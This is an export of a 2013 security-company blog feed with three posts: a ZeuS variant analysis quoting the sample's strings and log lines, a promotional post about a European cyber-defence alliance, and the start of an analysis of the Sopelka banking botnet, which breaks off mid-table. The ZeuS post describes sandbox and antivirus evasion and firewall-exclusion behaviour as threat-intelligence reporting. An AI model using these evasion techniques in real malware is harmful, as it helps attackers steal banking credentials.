<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0YBQnk7eCp7ImA9WhBbGEw.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715</id><updated>2013-05-17T11:25:53.700-07:00</updated><category term="mobile" /><category term="spyeye" /><category term="Network" /><category term="virtualization" /><category term="Wireless" /><category term="Policies" /><category term="threat" /><category term="PDF" /><category term="spitmo" /><category term="duqu" /><category term="mitmo" /><category term="Auditing" /><category term="new" /><category term="RAT" /><category term="Trojans" /><category term="Awareness" /><category term="Vulnerabilities" /><category term="forensics" /><category term="stuxnet" /><category term="Artificial Intelligence" /><category term="phishing" /><category term="Malware" /><category term="Exploit Kits" /><category term="Incident" /><category term="Fraud ATM ecrime" /><category term="Security management" /><category term="Data encryption" /><category term="General" /><category term="ios" /><category term="Ecrime" /><category term="spam" /><category term="mac" /><category term="Conference" /><category term="Fraud" /><category term="Control systems" /><category term="Social Network" /><category term="ZeuS" /><category term="Privacy" /><category term="Tools" /><category term="Botnet" /><category term="Security policy" /><category term="Antivirus" /><category term="carberp trojan reversing" /><category term="Events" /><category term="SCADA" /><category term="Training" /><category term="Crypto" /><title>S21sec Security Blog</title><subtitle type="html">Information security Blog: malware, phishing, pharming, network security, computer security, troyans, IT Security</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://securityblog.s21sec.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>S21SEC</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="8" src="http://www.s21sec.com/img/ES/logo_s21sec.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>102</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/S21secSecurityBlog" /><feedburner:info uri="s21secsecurityblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DUUAR3o7fCp7ImA9WhBbF0o.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-7793358000075450012</id><published>2013-05-17T00:44:00.000-07:00</published><updated>2013-05-17T00:54:06.404-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-17T00:54:06.404-07:00</app:edited><title>Testing your ZeuS variant?</title><content type="html">&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
The ZeuS source code leak is not recent, and we have seen new variants like Ice-IX or Citadel being widely used, but time to time we find a new trojan based on this source code.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Sometimes we see samples that seem to be used for testing purposes. In this case, we have seen one interesting sample based on ZeuS source code. It seems that it has been tested during last weeks, as compilation date is dated on April 9th.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
It is funny to see how it sends debug information to a server that has been hardcoded, and which path is "/test/debug.php". For example, once infected it encrypts this info with RC4:&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;[16:59:13] TC=0000000008, PID=0448(0x01C0), TID=1324(0x052C), LE=0(0x0), F=initUserData, FL=C:\Zeus projects\last\bot_chela_antirapport_with_x (512)..INFO: coreData.currentUser.id="0x2053D9C1", coreData.currentUser.sessionId="0"&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
It has some curious features that are not present in ZeuS, like detecting sandboxes, antivirus or antimalware software. For example, it is able to detect the usage of DeepFreeze or Wireshark, or if some "internal" stuff from SandBoxie, Anubis, or Camas sandboxes is found. &amp;nbsp;The searched patterns are encrypted (usual ZeuS string encryption), but their references are not encrypted, and we can inherit the behaviour of the trojan just taking a look to the strings.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
It seems that it doesn't like to work with other malware families, as some strings show that it tries to clean other infections, like ZeusV2 and SpyEye ones.&amp;nbsp;&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;SpyEye Kill Mutex Name: %hs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;&lt;/i&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;&lt;i&gt;SpyEye registry value: %s, path: %s &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;
&lt;/i&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;&lt;i&gt;SpyEyeRemove&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Zeus v2 deleted &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;zeusV2Remove &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Zeus v2 deleted&lt;/i&gt;&lt;/div&gt;
&lt;/i&gt;&lt;/blockquote&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Of course, the name of the project by itself looks very interesting ("zeus projects", "antirapport", "with x64", "chela"?):&lt;/div&gt;
&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;
&lt;i&gt;C:\Zeus projects\last\bot_chela_antirapport_with_x64\source\client\...&lt;/i&gt;&lt;/blockquote&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The comments in the code shows very clearly the intention of the code. For example, regarding to Windows Firewall (windowsfirewall.cpp):&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;WindowsFirewall::FirewallAddExclusions"&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;&lt;/i&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;&lt;i&gt;"Added exclusion for %s"&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;
&lt;/i&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;&lt;i&gt;"Exclusion for %s is re-enabled"&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;"Exclusion for %s is already in the list"&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;"Firewall DONE"&lt;/i&gt;&lt;/div&gt;
&lt;/i&gt;&lt;/blockquote&gt;
&lt;div style="text-align: justify;"&gt;
&amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
And there are a lot of interesting strings:&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;In IE!&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;&lt;/i&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;&lt;i&gt;I'm a installer. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;
&lt;/i&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;&lt;i&gt;I'm a loader.&amp;nbsp;&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Current process started from system account. Installing to all users.&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Malware report to server: %d &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;MalwareDelete::_removeAll&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Accepted client connection. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Accepted new conection from bot (BotID: %s, IP: %s). &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Accepted new conection from client (IP: %s), but bot not connected! Disconnecting client!&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;i&gt;...&lt;/i&gt;&lt;/div&gt;
&lt;/i&gt;&lt;/blockquote&gt;
&lt;div style="text-align: justify;"&gt;
&amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Nothing to add, just "thank you developer" for doing (at least this time) our work easier.&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;Mikel Gastesi&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;S21Sec ACSS&lt;/i&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/uzVoXodjO4s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/7793358000075450012/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=7793358000075450012" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7793358000075450012?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/7793358000075450012?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/uzVoXodjO4s/testing-your-zeus-variant.html" title="Testing your ZeuS variant?" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2013/05/testing-your-zeus-variant.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEADSXs7eip7ImA9WhBbEEQ.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-975140650751931122</id><published>2013-05-03T02:21:00.001-07:00</published><updated>2013-05-09T03:52:58.502-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-09T03:52:58.502-07:00</app:edited><title>Collaboration for a More Secure Europe</title><content type="html">I hope by the time you are reading this blog post you will have already heard about the &lt;a href="http://www.cybersecuritygroup.eu/"&gt;European Cyber Security Group&lt;/a&gt; for those of you that have not read about this new alliance let me give you a very quick overview. The European Cyber Security Group (&lt;a href="http://www.cybersecuritygroup.eu/"&gt;ECSG&lt;/a&gt;) is Europe’s largest independent cyber defence force, created to address the growing threats to Europe’s cyber security.&lt;br /&gt;
The ECSG:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Leverages the expertise of 600+ experts in cyber security&lt;/li&gt;
&lt;li&gt;Has on the ground experience supporting 2,000 unique government and industry clients&lt;/li&gt;
&lt;li&gt;Delivers seamless cooperation across member companies for agile and customized emergency response&lt;/li&gt;
&lt;li&gt;Is an objective advocate and policy advisor on cyber crime risk, prevention, mitigation and effective cross-border cooperation&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
The Numbers:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Combined turnover approx 61 million Euros&lt;/li&gt;
&lt;li&gt;2000 unique clients covering the globe&lt;/li&gt;
&lt;li&gt;Besides various governments we have clients in all major industry verticals, Finance, Manufacturing, Banking, Retail, Transport and Pharma.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.s21sec.com/"&gt;S21sec &lt;/a&gt;was one of the founding members of this dynamic collection of cyber security companies who have come together to pool not only their expertise but also resources in the fight against cyber crime. The &lt;a href="http://www.cybersecuritygroup.eu/ecsg/members/"&gt;members&lt;/a&gt; are as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.s21sec.com/"&gt;S21sec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fox-it.com/en/"&gt;Fox It&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lexsi.com/"&gt;CERT Lexsi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.csis.dk/en/"&gt;CSIS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
I am sure the immediate question that may come to the readers mind is why now. The reasons are many and perhaps to intricate to go into at great length in this blog. This is a conversation we are going to engage with as we meet leaders both from the private and public sectors. I would encourage existing and potential customers to both contact me directly for further information on the goals the alliance has set itself.&lt;br /&gt;
&lt;br /&gt;
I personally believe that creation of this new alliance is going to drive forward significant enhancements in the manner in which we deliver our services. One of the most exciting challenges that await us is the wealth of data that we have between us. You could use the expression (big data) and I think it would be most apt in this instance. This rich seem of intelligence and threat information will take some time to get through but once we have completed&lt;br /&gt;
&lt;br /&gt;
This task it will provide the alliance with a deeper and more nuanced understanding of what is happening out there in the underground economy. The very first service that the alliance will be lunching is the Incident Response Team (IRT). Our goal in setting this team up was to create the largest and technically one of the most sophisticated IRT´s in the world that could respond to any type of breach taking place anywhere in the world. By tackling CERT engagements collaboratively,&lt;br /&gt;
&lt;br /&gt;
ECSG offers the most comprehensive and rapid services for corporate and government clients. Members work independently, and can draw from additional and specialized resources from their ECSG partners where and when needed. Relying on this added strength in depth ensures successful CERT engagements of any scale. The ECSG will additionally collaborate with the governments of individual countries, as well as the European Union, to advise on best practices and assist on cyber security engagements where necessary to ensure speedy mitigation of security issues.&lt;br /&gt;
&lt;br /&gt;
Finally, ECSG will also lobby local and EU lawmakers to enact legislation to ease the cross-border information sharing and cooperation that will ultimately lead to a more secure Europe. From a personal perspective I am very excited that S21sec will have the opportunity to work alongside some of the most talented teams in Europe in order to tackle the issue of cyber crime. I would once like to encourage all readers of our blog to engage with me to learn more about the work of the ECSG and how we may be able to assist you in tackling the cyber security problems you face. I would also like to encourage you to spread the word for we open to speaking with any institution or organisation no matter where it is located in the world. This does feel the like the dawn of new and exciting journey and we would like you all to be part of it.&lt;br /&gt;
&lt;br /&gt;
Nahim Fazal&lt;br /&gt;
Cybercrime and Fraud SME &lt;a href="http://www.s21sec.com/"&gt;S21sec&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/5NDycS8JgU4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/975140650751931122/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=975140650751931122" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/975140650751931122?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/975140650751931122?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/5NDycS8JgU4/collaboration-for-more-secure-europe-i.html" title="Collaboration for a More Secure Europe" /><author><name>S21sec labs</name><uri>http://www.blogger.com/profile/13151825616347549199</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="34" height="5" src="http://www.s21sec.com/gisd/img/s21b.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2013/05/collaboration-for-more-secure-europe-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYBQH05eCp7ImA9WhNWGEk.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3312464883651255683</id><published>2012-10-17T12:51:00.000-07:00</published><updated>2012-12-18T08:29:11.320-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-18T08:29:11.320-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ecrime" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="mobile" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Exploit Kits" /><category scheme="http://www.blogger.com/atom/ns#" term="mitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><title>Sopelka Botnet: three banking trojans and one banking panel</title><content type="html">&lt;div style="text-align: justify;"&gt;
&lt;i&gt;Sopelka&lt;/i&gt; botnet started life in May this year and was taken down by end of September. It has been called &lt;i&gt;Sopelka&lt;/i&gt; because of the path used in the distribution of binaries and configuration files, and was an odd mixture of variants of the known banking trojans Tatanga, Feodo and Citadel.&lt;br /&gt;
&lt;br /&gt;
This botnet’s objective was the collection of banking credentials from European entities, mostly banks from Spain and Germany, but also Holland, Italy and Malta. In addition, it made use of different mobile components for Android, BlackBerry and Symbian phones. Symbian was the first operating system &lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;where this type of malicious component emerged two years ago&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-2IlDSpMorvQ/UH7ZcuqPj2I/AAAAAAAABbA/2K02dieAeSE/s1600/inyeccion_movil.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="198" src="http://4.bp.blogspot.com/-2IlDSpMorvQ/UH7ZcuqPj2I/AAAAAAAABbA/2K02dieAeSE/s400/inyeccion_movil.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
During the botnet’s lifetime there were at least five campaigns and it’s likely that more were carried out. Of the five known campaigns, three of them installed variants of Citadel (versions 1.3.4.0 and 1.3.4.5), another Feodo, and Tatanga was the chosen trojan in the other one. All the Citadel campaigns carried the name &lt;i&gt;“sopelka”&lt;/i&gt; (a flute type in Russian) in their download paths for binaries and configuration files, but this was not the case with Tatanga and Feodo.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div align="center"&gt;
&lt;table border="1" cellpadding="0" cellspacing="0" class="MsoTableLightListAccent6" style="border-bottom-style: none; border-collapse: collapse; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; width: 548px;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: #f79646; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: initial; border-bottom-style: none; border-bottom-width: initial; border-left-color: rgb(247, 150, 70); border-left-style: solid; border-left-width: 1pt; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 2cm;" valign="top" width="76"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Campaign&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: #f79646; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 51.15pt;" valign="top" width="68"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Date&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: #f79646; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 55.2pt;" valign="top" width="74"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Trojan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: #f79646; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 206.2pt;" valign="top" width="275"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Path&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: #f79646; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: initial; border-bottom-style: none; border-bottom-width: initial; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: rgb(247, 150, 70); border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 41.85pt;" valign="top" width="56"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Countries&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(247, 150, 70); border-left-style: solid; border-left-width: 1pt; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 2cm;" valign="top" width="76"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Sopelka1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 51.15pt;" valign="top" width="68"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;01/05&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;30/05&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 55.2pt;" valign="top" width="74"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;Citadel&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;1.3.4.0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
